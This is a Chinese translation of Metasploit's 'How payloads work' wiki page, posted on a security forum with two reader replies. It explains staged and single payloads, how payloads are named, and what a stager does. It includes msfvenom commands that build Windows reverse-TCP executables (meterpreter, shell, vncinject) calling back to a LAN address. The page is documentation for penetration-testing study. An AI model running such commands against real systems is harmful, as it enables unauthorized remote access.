【译】Metasploit：Payloads 是如何工作的？

王一航 / 2018-06-05 15:27:58 / 浏览数 6927 新手 入门资料 顶(0) 踩(0)

原文地址：https://github.com/rapid7/metasploit-framework/wiki/How-payloads-work

译者：王一航 & Google 2018-05-09

校对：王一航 2018-05-09

工作原理

Payload 模块存储在 `modules/payloads/{singles,stages,stagers}/<platform>` 目录中。
当框架启动的时候，`stages` 将会和 `stagers` 合并起来创建一个完整的可以在 `exploits` 中使用的 `payload`
然后，`handlers` 将会和 `payload` 进行对接，以便于我们的框架知道应该如何在一个给定的通讯机制下创建 `sessions`

`payloads`被赋予参考名称，指示所有的片段，如下所示：

```
Staged payloads: <platform>/[arch]/<stage>/<stager>

Single payloads: <platform>/[arch]/<single>
```

例如一个有效 `payloads` 的完整引用像这样：

```
windows/x64/meterpreter/reverse_tcp
```

其中：平台为 `windows` 平台，架构为`x64`，我们提供的最终的 `stage` 为 `meterpreter`，而交付它的 `stager` 是 `reverse_tcp`

注意：其中 ■■ 这个选项字段是可选的，因为有些情况下并没有必要去纠结架构。一个典型的例子是：

```
php/meterpreter/reverse_tcp
```

我们不需要为 PHP 的 Payload 指定一个架构，因为我们提供的是解释代码而不是原生的二进制代码

Singles

`Single payloads` 是TODO。 它们具备和 `Metasploit` 建立沟通机制的能力，但是并不是必须与 `Metasploit` 进行通信。
一个示例：是目标没有网络访问时，仍然可以通过USB密钥提供文件格式攻击，在这种场景下，您可能需要`Singles`

Stagers

`stagers` 是一个小发射器（译者注：类似火箭的多级启动模式），旨在创建某种形式的通信，然后将执行传递到下一个阶段。 使用 `stager` 解决了两个问题。
首先，它允许我们最初使用一个小的有效载荷来装载更多的功能更大的有效载荷。
其次，它可以将通信机制与最终阶段分开，因此一个有效载荷可以与多个传输一起使用，而无需复制代码。

Stages

既然 `Stager` 将通过为我们分配一大块内存来处理任何大小限制来处理它，那么`stages`可以是任意大的。
其中一个优点是能够使用C这样的高级语言编写最终阶段的有效载荷。

多级推进 (Delivering stages)

> `payloads` 回连的 IP地址 和 端口 被嵌入在 stager 中。就像上面讨论的那样，所有 `staged payloads` 已经不再需要
> 当您使用分阶段 `payloads` 创建可执行文件时，您实际上只是创建了 `stager`。 所以下面的命令会创建功能相同的 `exe` 文件：
>
> ```
> msfvenom -f exe LHOST=192.168.1.1 -p windows/meterpreter/reverse_tcp
> msfvenom -f exe LHOST=192.168.1.1 -p windows/shell/reverse_tcp
> msfvenom -f exe LHOST=192.168.1.1 -p windows/vncinject/reverse_tcp
> ```

1. (需要注意的是：尽管上述的 Payload 的功能是相同的，但是我们会做一些随机化的工作，因此没有两个可执行文件是完全相同的)
2. Ruby端作为客户端，使用由stager设置的任何传输机制 (例如：`tcp`, `http`, `https`)
3. 在 `shell` 阶段的情况下，当您与终端进行交互时，`Metasploit` 会将远程进程的标准输入流 `stdio` 连接到您的终端。
4. 在 Meterpreter 阶段的情况下，`Metasploit` 将开始使用 `Meterpreter Wire` 协议。

上一篇：【译】Metasploit：为什么... 下一篇：【译】Metasploit：Wik...

1. 2 条回复


alipay 2018-06-05 23:06:30

Meterpreter Wire 是什么协议？

0 回复Ta


王一航 2018-06-10 11:30:45

@alipay 原文中是这么说的，翻译的时候怕引起歧义就直接把英文原文写出来了。我觉得应该是 Meterpreter 自己的通信协议，我大概看了以下 Metasploit 的文档，暂时没有发现讲 Meterpreter 工作原理的文章。但是搜索可以找到一些分析该协议的文章和论文，或许可以有帮助。

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板